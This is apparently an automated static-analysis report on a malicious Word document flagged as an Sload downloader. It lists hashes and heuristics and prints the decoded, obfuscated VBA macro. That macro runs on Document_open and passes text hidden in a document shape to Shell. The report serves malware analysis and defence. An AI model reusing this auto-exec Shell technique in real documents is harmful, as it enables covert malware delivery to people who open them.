Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f7d8adea816a1ea…

MALICIOUS

Office (OLE)

71.0 KB Created: 2018-11-12 06:41:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 725b7090ae4f8c501e9550237a0b4997 SHA-1: 28350e664343d2bd255a811b10dc95be2034efab SHA-256: 4f7d8adea816a1ea0482aeaf412220ce1c32bc07c951642f9a709d4f5ae783c3
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Sload-6791461-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6791461-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        End If
    jzJJTSPFY = Shell(Shapes(1).TextFrame.TextRange.Text + BOPqPOSV + vXuGAl, iUZNTTilOf)
       If (QbAJMNR <> 0 Or ROJBQzro) Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Private Sub Document_open()
       If (kwTRBaNR <> 0 Or wPMvGoz) Then
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2878 bytes
SHA-256: 909efd8a2fc16032bc419f313f92d4ad031926acc208033a065575fc4e98aa1f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
29 of 58 identifiers look randomly generated (e.g. 'NmHPszlCdzz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zMPjLWZzZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function NmHPszlCdzz()
Const iUZNTTilOf = 551080650 - 551080650
   If (CnXYSlpT <> 0 Or AwKYsk) Then
        AwKYsk = True
        pCfZz = pCfZz & CInt(CnXYSlpT)
        If (CnXYSlpT = 1) Then
            pCfZz = pCfZz & "XtWOvQo"
        Else
            pCfZz = pCfZz & "cXvVr"
        End If
    End If
   If (mswRrjAH <> 0 Or qNTXQtzvh) Then
        qNTXQtzvh = True
        PdBDpYfO = PdBDpYfO & Atn(mswRrjAH)
        If (mswRrjAH = 1) Then
            PdBDpYfO = PdBDpYfO & "bODAsWD"
        Else
            PdBDpYfO = PdBDpYfO & "jIHoW"
        End If
    End If
   If (YiwRoja <> 0 Or nKcIk) Then
        nKcIk = True
        IsMRcfin = IsMRcfin & Atn(YiwRoja)
        If (YiwRoja = 1) Then
            IsMRcfin = IsMRcfin & "bANjQn"
        Else
            IsMRcfin = IsMRcfin & "strWfHb"
        End If
    End If
jzJJTSPFY = Shell(Shapes(1).TextFrame.TextRange.Text + BOPqPOSV + vXuGAl, iUZNTTilOf)
   If (QbAJMNR <> 0 Or ROJBQzro) Then
        ROJBQzro = True
        QXVLmuO = QXVLmuO & CDbl(QbAJMNR)
        If (QbAJMNR = 1) Then
            QXVLmuO = QXVLmuO & "YiVwkWtlG"
        Else
            QXVLmuO = QXVLmuO & "wnrBBZjwE"
        End If
    End If
   If (wzjFckN <> 0 Or JihmR) Then
        JihmR = True
        jvkjsQPK = jvkjsQPK & CDbl(wzjFckN)
        If (wzjFckN = 1) Then
            jvkjsQPK = jvkjsQPK & "sAmOV"
        Else
            jvkjsQPK = jvkjsQPK & "ipqDVajpt"
        End If
    End If
End Function
Private Sub Document_open()
   If (kwTRBaNR <> 0 Or wPMvGoz) Then
        wPMvGoz = True
        EpVsEfoq = EpVsEfoq & Atn(kwTRBaNR)
        If (kwTRBaNR = 1) Then
            EpVsEfoq = EpVsEfoq & "vNDGrYFj"
        Else
            EpVsEfoq = EpVsEfoq & "NjbwMAD"
        End If
    End If
   If (ZiIOliBo <> 0 Or QnfRfa) Then
        QnfRfa = True
        fzOWFr = fzOWFr & CByte(ZiIOliBo)
        If (ZiIOliBo = 1) Then
            fzOWFr = fzOWFr & "LbaRL"
        Else
            fzOWFr = fzOWFr & "dUomw"
        End If
    End If
NmHPszlCdzz
   If (jbVFCGp <> 0 Or zwBBfhBpv) Then
        zwBBfhBpv = True
        iXwnLQq = iXwnLQq & CInt(jbVFCGp)
        If (jbVFCGp = 1) Then
            iXwnLQq = iXwnLQq & "ovztUQNs"
        Else
            iXwnLQq = iXwnLQq & "XsRCkQPci"
        End If
    End If
   If (awTwr <> 0 Or jodtQE) Then
        jodtQE = True
        URtwGb = URtwGb & CByte(awTwr)
        If (awTwr = 1) Then
            URtwGb = URtwGb & "onidwdaw"
        Else
            URtwGb = URtwGb & "hKhAj"
        End If
    End If
End Sub